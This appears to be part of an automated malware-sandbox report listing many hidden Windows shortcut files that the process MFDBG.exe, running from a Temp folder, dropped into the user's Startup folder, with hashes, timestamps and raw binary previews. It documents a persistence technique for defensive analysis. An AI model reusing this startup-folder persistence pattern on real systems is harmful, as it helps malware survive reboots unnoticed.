Preview:	L..................F...."...]W%.{.... ..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d26df292b2245e284cf42a9881fe8a4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936328300494061
Encrypted:	false
SSDEEP:	24:8bhBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8f30R6rMhpBoUBxdRd1nYyg
MD5:	B8852E5F1EA14F228AAE7E04FC30619D
SHA1:	F9A8F0D129D6707127112455D1245B53F870E073
SHA-256:	D9C46465B4AB4BA030AC4AFAAFAC747A3588B82858A9BC8251AE649E07790E4E
SHA-512:	E8B978EF67A5B931F7129C0D7C873A0D37352B92816ACE338248F13456F433ABD0C4E8A329ED492B88A76136ECD2FD0C4E4CC7C9320EC8D4FF9D236D1B6DB455
Malicious:	false
Preview:	L..................F...."...]W%.{...n.K.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d41223192a540b4b9e7401fd7dbe54a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938210274627564
Encrypted:	false
SSDEEP:	24:8yhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84/0R6rMhpBoUBxdRd1nYyg
MD5:	B902A91D81A00B5DE7AD15D460C41406
SHA1:	37E9D541EB2B72051D2998F7C62A29FE3CE90727
SHA-256:	4D2A01D8A462410B982E6F95C2000709B146EA28B77D8BF5726AF2B0026B8077
SHA-512:	71437B8C2A57E65BA83C40C5785512769CA2A55E2018645FD0D500176CA8A9F7F67BF8B54972572209DE7A311169D7C941F13AA22673F9C423377A97EA18AE27
Malicious:	false
Preview:	L..................F...."...]W%.{...a...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d5201f62c50497f916ab7157b02e060.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939420613273204
Encrypted:	false
SSDEEP:	24:8AShBf+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8jb0R6rMhpBoUBxdRd1nYyg
MD5:	386BAA34A2EE871F43E498CEE2991645
SHA1:	9D4422F8B5CC6535DB149D922DB391ED79FD817E
SHA-256:	DE8CE7BB747A789DCB1272CB9820121DF24086B5D976AA1AC554487D143A98C0
SHA-512:	F1D5939ED7BF7EFF6CB9DE39DD97237A6D7B34671A1407334F89486242A545A33360093B53A5A90FB6927C88129C63199171C2FE3611C5B7E0F4EBE4135D506D
Malicious:	false
Preview:	L..................F...."...]W%.{... ]X.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....U.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9d9486ade251498f98c4249964219fca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930011544217322
Encrypted:	false
SSDEEP:	24:8C6hBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cws0R6rMhpBoUBxdRd1nYyg
MD5:	3AD34982D71487D46CBF9CB5168BDF3D
SHA1:	1CB8C1F8F7D9E7DA2BE8CE4B503CB4942D915C4D
SHA-256:	D2122EC1D55E7695E6BE6FBA40127BC965B514967F8800DC90FFAA0D56B0C343
SHA-512:	9AB0658501A210B478B5481BF1478793A4CDAFF23A7F973F7514E010190E2C9B55D2A932F50FB1E7F01AF54D16E7A006908BE5ABEF50AC7682566E83B4E0CE94
Malicious:	false
Preview:	L..................F...."...]W%.{...U.p.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9da94d02bbe74e74a8ef9f278a7e5322.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937877573692135
Encrypted:	false
SSDEEP:	24:8chBfU8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8up0R6rMhpBoUBxdRd1nYyg
MD5:	12321278703A3029459F9A4B549186A2
SHA1:	A7F3EF62B61D2B5A3653C89A894F24A374727FD2
SHA-256:	A2E45E21C452079B186DC52132E99E1AD47EF8CE99A775F02B07C6D167ED0CB1
SHA-512:	D72097D930537D6F7AB20A8783CDE2A0EFD272F58B7F6FC522992D902F5A27D67DA92CA5DBD66D0612323429DF43D94396223BA904895659D6B3D6786B2EED74
Malicious:	false
Preview:	L..................F...."...]W%.{...7...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9db4660aace442dd8b7810c0148dcdf0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932903748897987
Encrypted:	false
SSDEEP:	24:8thBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8N30R6rMhpBoUBxdRd1nYyg
MD5:	10CAF517A55C9A549AF5E4F7E29DC9EA
SHA1:	BA302CEA4A583F359D8EA87D4262654762FE472D
SHA-256:	8A12636F3127ED01C51942DCA6C789B4F69CEFD6F66AF15E5803D2A89A1FDD52
SHA-512:	531F5023481CE914CCBC17E0E6B528BE4755714A3B0086033AD936D806DDB5CE463E968EA616B9EA6B3C59CF623E5E2B2B20A6F122147E45C5B9627D72399AD4
Malicious:	false
Preview:	L..................F...."...]W%.{...bvD.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9dc272c65b504e3dabea49c32e467ec7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931508322531931
Encrypted:	false
SSDEEP:	24:8tphBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bR0R6rMhpBoUBxdRd1nYyg
MD5:	B73017E9F4742B7DDF3CF658AB53CB71
SHA1:	A77A5E7E7F4E274767EC9CC7AC59B2642275ED42
SHA-256:	541FDDC78273FB3DFE13B4086D0DAF59C383F3843FC578A9EBCAEA29AF823683
SHA-512:	B4F8B5228426CD792A253E728E4DE61EB36F200C6FAE26AE11B49BA9FFC1B171B34446BED72DDAB8BD7F9ABEA14B23B264A3F0171E17FC941FE6ACD31BED3F8B
Malicious:	false
Preview:	L..................F...."...]W%.{....4..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ee16f3bb8754afbb241b8e7738a5f19.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9365268885205
Encrypted:	false
SSDEEP:	24:8GhBf3+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MPT0R6rMhpBoUBxdRd1nYyg
MD5:	60667DF8B81458D02C61678F076BD18F
SHA1:	942E29A83197F6538B44291ABD4D80D8B28E92B5
SHA-256:	88D49B0622C867A8E0A744A127A491DEFEF2C2D761979619D42BBC2DF7071D75
SHA-512:	A921F4B5E74324E537E7600F88140616C71127E09C7EC70356C13BC62448799D034C850EE6318274EF5FE8038ADC81464963FD931BF674FF27E0385BFEB2986F
Malicious:	false
Preview:	L..................F...."...]W%.{.....Y.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...u.=.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9f22dc6317bb4809aa55af150f65c456.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938137769925788
Encrypted:	false
SSDEEP:	24:84hBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8al0R6rMhpBoUBxdRd1nYyg
MD5:	4273A46B40A1659E0C3EC4174FAF1AAC
SHA1:	DFBB9D52FAA2A1C97E75AD939FFCFE805AFF0855
SHA-256:	835C45766171ADB7CAEEE0DE0965A4070464AC13E7A045D3B1A466EF81C76A5C
SHA-512:	4152427727AAE920FEF5903248D746E6A422E76F490D3293ADC89011707C62359C7E01F1EE38C82F03037B85E3F095C1C6DE90E5DB1D485693C97FD8081291F7
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9f451b5fb8504d0d87344bc434c24738.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938942877113804
Encrypted:	false
SSDEEP:	24:8AWhBf8p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8A8h0R6rMhpBoUBxdRd1nYyg
MD5:	D1AF3AAA75032CC61DEDCB649D3F2FF6
SHA1:	D6DB6E093AF294C0FA6AD47940C0F3231C93937E
SHA-256:	E701595E9504457BEA5F6E46511466FBE824843CBF7EA32D1EB28E134B8E9498
SHA-512:	6A1D51D1D96DB93F9622CB296E2CFABBABD4401AEFAC94987AE83AD0496372142A92B831852DE6E92AE33FB0E0796C6D0B89BFD8C5A41B67E656509136ED0EFB
Malicious:	false
Preview:	L..................F...."...]W%.{.....~.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....lw.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fbded3883154d8c9365fcb9951f087a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937533644594722
Encrypted:	false
SSDEEP:	24:8thBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8NKI0R6rMhpBoUBxdRd1nYyg
MD5:	DA73699C496B77D5E7EF40E207BAB6E4
SHA1:	AAD1BF15CFD3D873DDC5757F59C5CD3AD30F603B
SHA-256:	6A54E14254712E15C3530E8720F966B743F464F4559465F87F235272DE79252C
SHA-512:	10FC276965C1B892F281C5CC9D15C6A2CBBBC6164302BD73122DE2C57BE9F2E5B7756C47D4D82C8D1AFC7D59FA98A226A12696585B7DC6F6D9CB133E3406AB76
Malicious:	false
Preview:	L..................F...."...]W%.{...?.i.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fc498ae8a0c4528b5aa9a6037cecfe5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941094740612313
Encrypted:	false
SSDEEP:	24:8tXmhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85sgT0R6rMhpBoUBxdRd1nYyg
MD5:	C78BFA861F49B92A51059D34C5EBF9CB
SHA1:	08AAE4C36227987FAC08D2C24EFDF87779AEBE9D
SHA-256:	609943EC0DC95F9FB744539B8F8FEE18D92D3F161F39E4BE08072F5F182E111F
SHA-512:	CDB74DD1A7BBB513B3DA5564892BFAE7AB662E7A713D9B78B6913CA9219EF75D1EF5F589632A0D23C2BA24CB81F0AA81A3E15A90F3B8F0023AA282D1DCB476F1
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9fc4a9f3075147228229af24e5ed2cfb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938630229813024
Encrypted:	false
SSDEEP:	24:8uhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8k+0R6rMhpBoUBxdRd1nYyg
MD5:	79AD666B0DE879589416AF8D96570219
SHA1:	CEDC825BADFB9A39C4FF113040CD8516ACCEC618
SHA-256:	FFE79E13CE9E71CD1A78409185340D093DDDB4D84BD6296481E0B96EC4D40EBF
SHA-512:	96DDBAE54986B2430FFC679AD9774AE2F04109F1390DCD62D1930D4230F5555FA4715FB9837B04654641EAE761698978D2F6170127775F4048CDAC9F2223F3BA
Malicious:	false
